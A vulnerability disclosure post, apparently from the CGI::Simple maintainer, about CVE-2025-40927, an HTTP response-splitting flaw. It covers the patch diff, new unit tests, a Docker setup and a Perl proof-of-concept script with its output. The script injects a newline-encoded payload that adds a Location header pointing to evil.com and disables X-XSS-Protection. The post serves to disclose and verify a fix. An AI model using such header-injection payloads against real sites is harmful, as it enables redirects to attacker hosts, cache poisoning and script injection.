CVE-2025-40927

Wednesday, Sep 3, 2025| Tags: perl

DISCLAIMER: Image is generated using ChatGPT.



Introduction

Step 1: Dcoker Compose

Step 2: Test Script

Step 3: Start Services

Step 4: Testing Time

Conclusion


Introduction



In this post, we will try to re-create CVE-2025-40927, a vulnerability in CGI::Simple version 1.281 or earlier.

2025-08-27T15:46:00: The vulnerability was first reported by Maxim Kosenko by email.

2025-08-28T01:59:00: Thanks to breno, we were ready with the patch below:

File: lib/CGI/Simple.pm.


@@ -998,6 +998,7 @@ sub header {
    );

   my $CRLF = $self->crlf;
+  my $ALL_POSSIBLE_CRLF = qr/(?:\r\n|\n|\015\012)/;

   # CR escaping for values, per RFC 822
   for my $header (
@@ -1007,11 +1008,12 @@ sub header {
     if ( defined $header ) {
       # From RFC 822:
       # Unfolding  is  accomplished  by regarding   CRLF   immediately
-      # followed  by  a  LWSP-char  as equivalent to the LWSP-char.
-      $header =~ s/$CRLF(\s)/$1/g;
+      # followed  by  a  LWSP-char  as equivalent to the LWSP-char
+      # (defined in the RFC as a space or a horizontal tab).
+      $header =~ s/$ALL_POSSIBLE_CRLF([ \t])/$1/g;

       # All other uses of newlines are invalid input.
-      if ( $header =~ m/$CRLF/ ) {
+      if ( $header =~ m/$ALL_POSSIBLE_CRLF/ ) {
         # shorten very long values in the diagnostic
         $header = substr( $header, 0, 72 ) . '...'
          if ( length $header > 72 );

Also for unit test.

File: t/120.header-crlf.t.


@@ -1,5 +1,5 @@
 use strict;
-use Test::More tests => 2;
+use Test::More tests => 9;
 use Test::Exception;
 use CGI::Simple;

@@ -7,14 +7,26 @@ my $cgi = CGI::Simple->new;

 my $CRLF = $cgi->crlf;

-is( $cgi->header( '-Test' => "test$CRLF part" ),
-    "Test: test part"
+my %possible_crlf = (
+    '\n'       => "\n",
+    '\r\n'     => "\r\n",
+    '\015\012' => "\015\012",
+);
+for my $k (sort keys %possible_crlf) {
+    is(
+        $cgi->header( '-Test' => "test$possible_crlf{$k} part" ),
+        "Test: test part"
         . $CRLF
         . 'Content-Type: text/html; charset=ISO-8859-1'
         . $CRLF
-        . $CRLF
-);
+        . $CRLF,
+        "header value with $k + space drops the $k and is valid"
+    );

-throws_ok { $cgi->header( '-Test' => "test$CRLF$CRLF part" ) }
-qr/Invalid header value contains a newline not followed by whitespace: test="test/,
-    'invalid CRLF caught';
+    throws_ok { $cgi->header( '-Test' => "test$possible_crlf{$k}$possible_crlf{$k} part" ) }
+    qr/Invalid header value contains a newline not followed by whitespace: test="test/,
+        'invalid CRLF caught for double ' . $k;
+        throws_ok { $cgi->header( '-Test' => "test$possible_crlf{$k}part" ) }
+        qr/Invalid header value contains a newline not followed by whitespace: test="test/,
+        "invalid $k caught not followed by whitespace";
+}

2025-08-28T10:51:00: The above patch was approved by Maxim Kosenko.

2025-08-28T11:36:00: Thanks to Stig Palmquist, the vulnerability assigned CVE-2025-40927.

It was time for me to prepare the release and publish.

I waited until the end of play after work, to prepare the release.

2025-08-28T20:12:00: Finally I patched and released CGI::Simple v1.282.

2025-08-29T01:14:00: The CVE-2025-40927 was published by Timothy Legge.

That was a roller coster, well done Maxim, breno, Stig and Tim.

It was a team work, thanks everyone.


Step 1: Docker Compose



As per the tradition, I try to re-create vulnerability in an isolated Docker container.

So I had to do the same for CVE-2025-40927.

First thing first, here is the simple configuration: docker-compose.yml


version: '3.8'
services:
  cgi-simple-1281:
    image: perl:5.36-slim
    working_dir: /app
    volumes:
      - ./:/app
    command: >
      sh -c "
      cpanm -n CGI::Simple@1.281 &&
      tail -f /dev/null
      "

  cgi-simple-1282:
    image: perl:5.36-slim
    working_dir: /app
    volumes:
      - ./:/app
    command: >
      sh -c "
      cpanm -n CGI::Simple@1.282 &&
      tail -f /dev/null
      "

The line image: perl:5.36-slim installs the slimmed version of Perl v5.36.

The line working_dir: /app, sets the current directory inside the container to /app.

The line volumes: - ./:/app, mounts the current host directory into the container’s /app directory.

The command: does the core task, installs the relevant version of CGI::Simple in each services.


Step 2: Test Script



Here is a simple test for the vulnerability.

File: test-exploit.pl


#!/usr/bin/env perl

use v5.36;
use CGI::Simple;

say "CGI::Simple Security Vulnerability Test";
say "=" x 50;
say "Version: $CGI::Simple::VERSION";
say "Test Date: " . localtime;
say "=" x 50 . "\n";

local $ENV{QUERY_STRING} = "redirect=normal%0ALocation:https://evil.com%0AX-XSS-Protection:0";
local $ENV{REQUEST_METHOD} = "GET";

my $vulnerable = 0;
my @test_results;

# Test 1: HTTP Response Splitting Attack Simulation
say "TEST 1: HTTP RESPONSE SPLITTING SIMULATION";
say "=" x 50;

my $cgi_malicious = CGI::Simple->new;
my $malicious_redirect = $cgi_malicious->param('redirect') || '';
my $visible_redirect = $malicious_redirect;
$visible_redirect =~ s/\n/\\n/g;  # Make newlines visible
$visible_redirect =~ s/\r/\\r/g;  # Make carriage returns visible
say "Payload: redirect=normal%0ALocation:https://evil.com%0AX-XSS-Protection:0";
say "Decoded (escaped): " . $visible_redirect;
say "Contains newlines: " . ($malicious_redirect =~ /\n/ ? "YES" : "NO");
say "Contains carriage returns: " . ($malicious_redirect =~ /\r/ ? "YES" : "NO") . "\n";

eval {
    my $headers = $cgi_malicious->header(
        -Location => "/login?redirect=$malicious_redirect",
        -Type     => 'text/html'
    );

    # Analyze the generated headers
    my @header_lines = split(/\r?\n/, $headers);
    my $injected_headers = 0;

    for my $line (@header_lines) {
        if ($line =~ /^Location:\s*https:\/\/evil\.com/i) {
            push @test_results, "❌ CRITICAL: Malicious Location header injected!";
            $vulnerable = 1;
            say "EXPLOIT SUCCESSFUL! Found malicious Location header";
        }
        elsif ($line =~ /^X-XSS-Protection:\s*0/i) {
            push @test_results, "❌ CRITICAL: X-XSS-Protection disabled via injection!";
            $vulnerable = 1;
            say "EXPLOIT SUCCESSFUL! X-XSS-Protection disabled";
        }
    }

    # Count Location headers (should only be one)
    my @location_headers = grep { /^Location:/i } @header_lines;
    if (@location_headers > 1) {
        push @test_results, "❌ CRITICAL: Multiple Location headers injected!";
        $vulnerable = 1;
        say "EXPLOIT SUCCESSFUL! Multiple Location headers found: " . scalar(@location_headers);
    }

    if (!$vulnerable) {
        push @test_results, "✅ HTTP Response Splitting prevented";
        say "✅ Header injection prevented successfully";
    }

    say "Generated headers:";
    say "=" x 30;
    say $headers;
    say "=" x 30;

};
if ($@) {
    push @test_results, "✅ HTTP Response Splitting blocked by exception";
    say "✅ Header injection blocked with error: $@";
}

# Test 2: Literal Newline Tests
say "\nTEST 2: LITERAL NEWLINE VALIDATION";
say "=" x 50;

my $cgi = CGI::Simple->new;
eval {
    $cgi->header(-X_Test => "value\nwith newline");
    push @test_results, "❌ Literal newline allowed (should be blocked)";
    $vulnerable = 1;
};
if ($@) {
    push @test_results, "✅ Literal newline properly blocked";
    say "✅ Newline correctly blocked: $@";
}

eval {
    $cgi->header(-X_Test => "value\r\nwith crlf");
    push @test_results, "❌ CRLF allowed (should be blocked)";
    $vulnerable = 1;
};
if ($@) {
    push @test_results, "✅ CRLF properly blocked";
    say "✅ CRLF correctly blocked: $@";
}

eval {
    my $result = $cgi->header(-X_Test => "normal value");
    push @test_results, "✅ Normal values work correctly";
    say "✅ Normal value accepted";
};
if ($@) {
    push @test_results, "❌ Normal value incorrectly blocked";
    say "❌ Normal value blocked: $@";
}

# Summary Report
say "\n" . "=" x 50;
say "SECURITY ASSESSMENT SUMMARY";
say "=" x 50;
say "CGI::Simple Version: $CGI::Simple::VERSION";
say "Assessment Date: " . localtime;
say "=" x 50;

foreach my $result (@test_results) {
    say $result;
}

say "\n" . "=" x 50;
say "FINAL SECURITY STATUS";
say "=" x 50;

if ($vulnerable) {
    say "❌❌❌ VULNERABLE: Security issues detected!";
    say "   The following attacks are possible:";
    say "   - HTTP Response Splitting";
    say "   - Header Injection";
    say "   - XSS Attacks";
    say "   - Cache Poisoning";
    say "\n   RECOMMENDATION: Apply security patches immediately";
} else {
    say "✅✅✅ SECURE: No vulnerabilities detected";
    say "   All security tests passed successfully";
    say "   HTTP response splitting attacks are prevented";
}

if ($CGI::Simple::VERSION eq '1.281') {
    say "\n⚠️  NOTE: Version 1.281 is known to be vulnerable";
    say "   Upgrade to version 1.282 or apply security patches";
}

Step 3: Start Services



Now we are ready to create two services:


cgi-simple-1281: CGI::Simple v1.281
cgi-simple-1282: CGI::Simple v1.282

Let’s start the services:


$ docker-compose up -d
Creating network "cve-2025-40927_default" with the default driver
Creating cve-2025-40927_cgi-simple-1281_1 ... done
Creating cve-2025-40927_cgi-simple-1282_1 ... done

Check the status of the services:


$ docker-compose ps
              Name                            Command               State   Ports
---------------------------------------------------------------------------------
cve-2025-40927_cgi-simple-1281_1   sh -c  cpanm -n CGI::Simpl ...   Up
cve-2025-40927_cgi-simple-1282_1   sh -c  cpanm -n CGI::Simpl ...   Up

Step 4: Testing Time



Now we are ready to test the exploit in each services.

First we test in the service cgi-simple-1281 as below:


$ docker-compose exec cgi-simple-1281 perl test-exploit.pl
CGI::Simple Security Vulnerability Test
==================================================
Version: 1.281
Test Date: Wed Sep  3 13:34:24 2025
==================================================

TEST 1: HTTP RESPONSE SPLITTING SIMULATION
==================================================
Payload: redirect=normal%0ALocation:https://evil.com%0AX-XSS-Protection:0
Decoded (escaped): normal\nLocation:https://evil.com\nX-XSS-Protection:0
Contains newlines: YES
Contains carriage returns: NO

EXPLOIT SUCCESSFUL! Found malicious Location header
EXPLOIT SUCCESSFUL! X-XSS-Protection disabled
EXPLOIT SUCCESSFUL! Multiple Location headers found: 2
Generated headers:
==============================
Location: /login?redirect=normal
Location:https://evil.com
X-XSS-Protection:0
Content-Type: text/html; charset=ISO-8859-1


==============================

TEST 2: LITERAL NEWLINE VALIDATION
==================================================
✅ CRLF correctly blocked: Invalid header value contains a newline not followed by whitespace: x-test="value
with crlf" at /usr/local/lib/perl5/site_perl/5.36.3/CGI/Simple.pm line 1018.

✅ Normal value accepted

==================================================
SECURITY ASSESSMENT SUMMARY
==================================================
CGI::Simple Version: 1.281
Assessment Date: Wed Sep  3 13:34:24 2025
==================================================
❌ CRITICAL: Malicious Location header injected!
❌ CRITICAL: X-XSS-Protection disabled via injection!
❌ CRITICAL: Multiple Location headers injected!
❌ Literal newline allowed (should be blocked)
✅ CRLF properly blocked
✅ Normal values work correctly

==================================================
FINAL SECURITY STATUS
==================================================
❌❌❌ VULNERABLE: Security issues detected!
   The following attacks are possible:
   - HTTP Response Splitting
   - Header Injection
   - XSS Attacks
   - Cache Poisoning

   RECOMMENDATION: Apply security patches immediately

⚠️  NOTE: Version 1.281 is known to be vulnerable
   Upgrade to version 1.282 or apply security patches

The result is self-explanatory.

Now we repeat the same test in the service cgi-simple-1282 as below:


$ docker-compose exec cgi-simple-1282 perl test-exploit.pl
CGI::Simple Security Vulnerability Test
==================================================
Version: 1.282
Test Date: Wed Sep  3 13:35:52 2025
==================================================

TEST 1: HTTP RESPONSE SPLITTING SIMULATION
==================================================
Payload: redirect=normal%0ALocation:https://evil.com%0AX-XSS-Protection:0
Decoded (escaped): normal\nLocation:https://evil.com\nX-XSS-Protection:0
Contains newlines: YES
Contains carriage returns: NO

✅ Header injection blocked with error: Invalid header value contains a newline not followed by whitespace: location="/login?redirect=normal
Location:https://evil.com
X-XSS-Protect... at /usr/local/lib/perl5/site_perl/5.36.3/CGI/Simple.pm line 1020.


TEST 2: LITERAL NEWLINE VALIDATION
==================================================
✅ Newline correctly blocked: Invalid header value contains a newline not followed by whitespace: x-test="value
with newline" at /usr/local/lib/perl5/site_perl/5.36.3/CGI/Simple.pm line 1020.

✅ CRLF correctly blocked: Invalid header value contains a newline not followed by whitespace: x-test="value
with crlf" at /usr/local/lib/perl5/site_perl/5.36.3/CGI/Simple.pm line 1020.

✅ Normal value accepted

==================================================
SECURITY ASSESSMENT SUMMARY
==================================================
CGI::Simple Version: 1.282
Assessment Date: Wed Sep  3 13:35:52 2025
==================================================
✅ HTTP Response Splitting blocked by exception
✅ Literal newline properly blocked
✅ CRLF properly blocked
✅ Normal values work correctly

==================================================
FINAL SECURITY STATUS
==================================================
✅✅✅ SECURE: No vulnerabilities detected
   All security tests passed successfully
   HTTP response splitting attacks are prevented

Conclusion



Timeline for the vulnerability:


2025-08-27T15:46:00: First reported by Maxim Kosenko.

2025-08-28T01:59:00: Patch prepared by breno.

2025-08-28T10:51:00: Patch approved by Maxim Kosenko.

2025-08-28T11:36:00: CVE-2025-40927 assigned by Stig Palmquist.

2025-08-28T20:12:00: Patch released by Mohammad Sajid Anwar.

2025-08-29T01:14:00: CVE-2025-40927 published by Timothy Legge.



Happy Hacking !!!

SO WHAT DO YOU THINK ?

If you have any suggestions or ideas then please do share with us.

Contact with me